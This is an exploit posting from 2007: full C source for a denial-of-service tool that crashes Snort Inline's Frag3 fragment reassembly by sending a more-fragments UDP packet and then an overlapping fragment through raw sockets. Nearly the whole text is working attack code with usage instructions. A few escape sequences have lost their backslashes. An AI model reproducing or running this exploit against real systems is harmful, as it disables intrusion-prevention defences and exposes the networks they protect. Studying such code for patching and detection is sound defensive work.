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snort-dos.txt

Posted on 09 March 2007

/*********************************************************
* DOS Snort Inline
* Affected Versions: 2.6.1.1, 2.6.1.2, 2.7.0(beta)
* Requirements : Frag3 Enabled, Inline, Linux, ip_conntrack disabled
* Antimatt3r
* antimatter@gmail.com
* Offset needs to be supplied that would cause reassembly for different snort
* fragmentation reassembly policies. Since the first packet is hardcoded 70-74 offset
* will trigger the segfault.
********************************************************/

#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <netinet/ip.h>
#include <netinet/if_ether.h>
#include <netpacket/packet.h>


#define NOOP_FRAG_SLED 576
#define NOOP_SHORT 16


struct addr {
uint32_t ip;
char mac[ETH_ALEN];
};

struct dev {
uint32_t index;
char name[IFNAMSIZ];
};

int mac_aton(char *, char *);
void usage(char *cmd) {
fprintf(stderr, "usage: %s <device> <source_ip>  <src_mac> <dst_ip>  <dst_mac>  <offset>
", cmd);
}

int mac_aton(char *amac, char *nmac) {
char c;
int i;
unsigned int val;

i = 0;
while ((*amac != '') && (i < ETH_ALEN)) {
val = 0;
c = *amac++;
if (c >= '0' && c <= '9') {
val = c - '0';
}
else if (c >= 'a' && c <= 'f') {
val = c - 'a' + 10;
}
else if (c >= 'A' && c <= 'F') {
val = c - 'A' + 10;
}
else {
errno = EINVAL;
return -1;
}
val <<= 4;

c = *amac;
if (c >= '0' && c <= '9') {
val |= c - '0';
}
else if (c >= 'a' && c <= 'f') {
val |= c - 'a' + 10;
}
else if (c >= 'A' && c <= 'F') {
val |= c - 'A' + 10;
}
else if (c == ':' || c == '') {
val >>= 4;
}
else {
errno = EINVAL;
return -1;
}
if (c != 0) {
amac++;
}
*nmac++ = val & 0xff;
i++;

/* We might get a semicolon here - not required. */
if (*amac == ':') {
amac++;
}
}
return 0;
}


int in_cksum(u_short *addr, int len) {
int nleft = len;
u_short *w = addr;
int sum = 0;
u_short answer = 0;

while (nleft > 1) {
sum += *w++;
nleft -= 2;
}

if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)w;
sum += answer;
}

sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;

return answer;
}

int send_morefrag_packet(int sock, struct dev *dev, struct addr *src, struct
addr *dst) {
struct sockaddr_ll sll;
struct ether_header *eth;
struct iphdr *ip;
struct udphdr *udp;
u_char *payload;
char buf[sizeof(struct ether_header) + sizeof(struct iphdr) + sizeof(struct udphdr)+ NOOP_FRAG_SLED];

memset(&sll, 0, sizeof(sll));
sll.sll_family = PF_PACKET;
sll.sll_ifindex = dev->index;
sll.sll_halen = ETH_ALEN;
memcpy(&sll.sll_addr, dst->mac, ETH_ALEN);

memset(buf, 0, sizeof(buf));
eth = (struct ether_header *)buf;
ip = (struct iphdr *)((char *)eth + sizeof(struct ether_header));
udp = (struct udphdr *)((char *)ip + sizeof(struct iphdr));
payload = (u_char *)((char *)udp + sizeof(struct udphdr));

memset(payload,'x90',NOOP_FRAG_SLED);


udp->source = htons(1111);
udp->dest = htons(1111);
udp->len =  htons(sizeof(struct udphdr) + NOOP_FRAG_SLED) ;
udp->check =0;


ip->version = 4;
ip->ihl = 5;
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + NOOP_FRAG_SLED);
ip->id = 31337;
ip->ttl = 64;
ip->frag_off = htons(0x2000);
ip->protocol = IPPROTO_UDP;
ip->saddr = src->ip;
ip->daddr = dst->ip;
ip->check = in_cksum((u_short *)ip, sizeof(struct iphdr));

memcpy(eth->ether_shost, src->mac, ETH_ALEN);
memcpy(eth->ether_dhost, dst->mac, ETH_ALEN);
eth->ether_type = htons(ETH_P_IP);

if(sendto(sock, buf, sizeof(buf), 0, (struct sockaddr *)&sll, sizeof(sll)) == -1)
printf ("error %d %s
",errno,strerror(errno));
else
printf("MF Packet Sent
");
}

int send_overlap_packet(int sock, struct dev *dev, struct addr *src, struct
addr *dst,int offset) {
struct sockaddr_ll sll;
struct ether_header *eth;
struct iphdr *ip;
struct udphdr *udp;
u_char *payload;
char buf[sizeof(struct ether_header) + sizeof(struct iphdr) + sizeof(struct udphdr)+ NOOP_SHORT ];

memset(&sll, 0, sizeof(sll));
sll.sll_family = PF_PACKET;
sll.sll_ifindex = dev->index;
sll.sll_halen = ETH_ALEN;
memcpy(&sll.sll_addr, dst->mac, ETH_ALEN);

memset(buf, 0, sizeof(buf));
eth = (struct ether_header *)buf;
ip = (struct iphdr *)((char *)eth + sizeof(struct ether_header));
udp = (struct udphdr *)((char *)ip + sizeof(struct iphdr));
payload = (u_char *)((char *)udp + sizeof(struct udphdr));

memset(payload,'x90',NOOP_SHORT);

udp->source = htons(1111);
udp->dest = htons(1111);
udp->len =  htons(sizeof(struct udphdr) + NOOP_SHORT) ;
udp->check =0;

ip->version = 4;
ip->ihl = 5;
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + NOOP_SHORT);
ip->id = 31337;
ip->frag_off = ntohs(offset);
ip->ttl = 64;
ip->protocol = IPPROTO_UDP;
ip->saddr = src->ip;
ip->daddr = dst->ip;
ip->check = in_cksum((u_short *)ip, sizeof(struct iphdr));

memcpy(eth->ether_shost, src->mac, ETH_ALEN);
memcpy(eth->ether_dhost, dst->mac, ETH_ALEN);
eth->ether_type = htons(ETH_P_IP);

if(sendto(sock, buf, sizeof(buf), 0, (struct sockaddr *)&sll, sizeof(sll)) == -1)
printf ("error %d %s
",errno,strerror(errno));
else
printf("2nd Packet Sent
");
}


int main(int argc, char *argv[]) {
int sock = 0;
struct dev dev;
struct addr src, dst;
int offset; //play with varying offsets

if (argc < 7) {
usage(argv[0]);
return -1;
}

memset(&dev, 0, sizeof(dev));
strncpy(dev.name, argv[1], IFNAMSIZ-1);
if((dev.index = if_nametoindex(dev.name)) == 0) {
perror(argv[1]);
exit(-1);
}

memset(&src, 0, sizeof(src));
if (inet_aton(argv[2], (struct in_addr *)&src.ip) == 0) {
fprintf(stderr, "%s: invalid src ip address
", argv[2]);
exit(-1);
}

if (mac_aton(argv[3], src.mac) < 0) {
fprintf(stderr, "%s: invalid src hardware address
", argv[3]);
exit(-1);
}

memset(&dst, 0, sizeof(dst));
if (inet_aton(argv[4], (struct in_addr *)&dst.ip) == 0) {
fprintf(stderr, "%s: invalid ip address
", argv[2]);
exit(-1);
}

if (mac_aton(argv[5], dst.mac) < 0) {
fprintf(stderr, "%s: invalid hardware address
", argv[3]);
exit(-1);
}

offset = atoi(argv[6]);

if ((sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) < 0) {
perror("socket");
exit(-1);
}

if (send_morefrag_packet(sock, &dev, &src, &dst) < 0) {
perror("send error ");
exit(-1);
}

if (send_overlap_packet(sock, &dev, &src, &dst,offset) < 0) {
perror("send error");
exit(-1);
}

close(sock);

return 0;
}

 

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